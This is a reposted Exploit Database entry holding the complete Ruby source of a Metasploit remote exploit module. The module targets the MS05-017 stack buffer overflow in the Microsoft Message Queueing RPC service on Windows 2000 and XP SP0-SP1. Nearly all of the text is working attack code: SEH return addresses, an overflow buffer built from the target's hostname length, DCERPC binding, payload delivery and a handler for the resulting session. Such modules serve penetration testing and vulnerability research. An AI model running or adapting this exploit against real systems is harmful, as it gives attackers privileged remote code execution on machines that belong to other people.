Microsoft Message Queueing Service – Path Overflow (MS05-017) (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16747/

• ##
  # $Id: ms05_017_msmq.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft Message Queueing Service Path Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in the RPC interface
  				to the Microsoft Message Queueing service. The offset to the
  				return address changes based on the length of the system
  				hostname, so this must be provided via the 'HNAME' option.
  				Much thanks to snort.org and Jean-Baptiste Marchand's
  				excellent MSRPC website.
  
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0059'],
  					[ 'OSVDB', '15458'],
  					[ 'MSB', 'MS05-017'],
  					[ 'BID', '13112'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
  					'StackAdjustment' => -3500,
  
  				},
  			'Targets'=>
  				[
  					[
  						'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
  						{
  							'Platform' => 'win',
  							'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
  						},
  					],
  				],
  			'DisclosureDate' => 'Apr 12 2005',
  			'DefaultTarget' => 0))
  
  		# Change the default port values to point at MSMQ
  		register_options(
  			[
  				Opt::RPORT(2103),
  				OptString.new('HNAME',[ true,"The NetBIOS hostname of the target" ]),
  			], self.class)
  	end
  
  	def autofilter
  		# Common vulnerability scanning tools report port 445/139
  		# due to how they test for the vulnerability. Remap this
  		# back to 2103 for automated exploitation
  
  		rport = datastore['RPORT'].to_i
  		if ( rport == 445 or rport == 139 )
  			datastore['RPORT'] = 2103
  		end
  
  		# The NetBIOS hostname is required to exploit this bug reliably.
  		if (not datastore['HNAME'])
  			# XXX automatically determine the hostname
  			return false
  		end
  
  		true
  	end
  
  	def exploit
  
  		# MSMQ supports three forms of queue names, the two we can use are
  		# the IP address and the hostname. If we use the IP address via the
  		# TCP: format, the offset to the SEH frame will change depending on
  		# the length of the real hostname. For this reason, we force the user
  		# to supply us with the actual hostname.
  
  		# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName
  
  		queue_name = "OS:#{datastore['HNAME']}";
  		queue_hlen = datastore['HNAME'].length * 2
  		queue_path = unicode(queue_name + "\\PRIVATE$\\")
  
  		buf = rand_text_english(4000, payload_badchars)
  
  		# Windows 2000 SEH offset goes first
  		buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
  		buf[372 - queue_hlen - 4, 2] = "\xeb\x22"
  
  		# Windows XP SEH offset goes second
  		seh = generate_seh_payload(target['Rets'][1])
  		buf[400 - queue_hlen - 4, seh.length] = seh
  
  		# Append the path to the location and null terminate it
  		queue_path << buf << "\x00\x00"
  
  		# Get the unicode length of this string
  		queue_plen = queue_path.length / 2
  
  		connect
  		print_status("Trying target #{target.name}...")
  
  		handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  		print_status("Binding to #{handle} ...")
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		stubdata =
  			NDR.long(1) +
  			NDR.long(1) +
  			NDR.long(1) +
  			NDR.long(3) +
  			NDR.long(3) +
  			NDR.long(2) +
  			NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)
  
  		print_status('Sending exploit ...')
  
  		response = dcerpc.call(9, stubdata)
  
  		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
  			case dcerpc.last_response.stub_data
  				when "\x20\x00\x0e\xc0"
  					print_status("The server rejected our request, the HNAME parameter could be incorrect")
  				when "\x1e\x00\x0e\xc0"
  					print_status("The server does not appear to be exploitable")
  				else
  					print_status("An unknown response was received from the server:")
  					print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
  			end
  		end
  
  		handler
  		disconnect
  	end
  
  end